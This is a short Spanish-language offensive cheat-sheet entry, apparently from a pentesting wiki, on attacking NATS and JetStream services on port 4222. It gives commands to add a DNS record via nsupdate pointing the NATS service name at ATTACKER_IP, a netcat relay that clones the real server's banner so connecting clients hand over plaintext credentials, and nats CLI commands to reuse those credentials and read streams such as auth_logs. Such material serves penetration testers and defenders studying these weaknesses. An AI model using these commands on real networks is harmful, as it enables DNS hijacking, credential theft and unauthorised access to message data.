4222 - NATS & JetStream
bash
go install github.com/nats-io/natscli/nats@latestSi tenemos suerte, podemos cambiar los registros DNS del dominio de forma anónima (normalmente necesitaríamos una credencial de mínimo privilegio)
bash
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> sendPodemos hacer un servidor falso que clone el original. Un cliente cualquiera que se conecte solo verificará la cabecera antes de enviar las credenciales, las veremos en texto plano.
bash
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222Guardar creds
nats context add example -s nats://DC01 --user USER --password 'PASS'bash
nats account info --context example # quotas, stream count, expiration
nats stream list --context example # names + message totals
nats stream info auth_logs --context example
nats stream view auth_logs --context example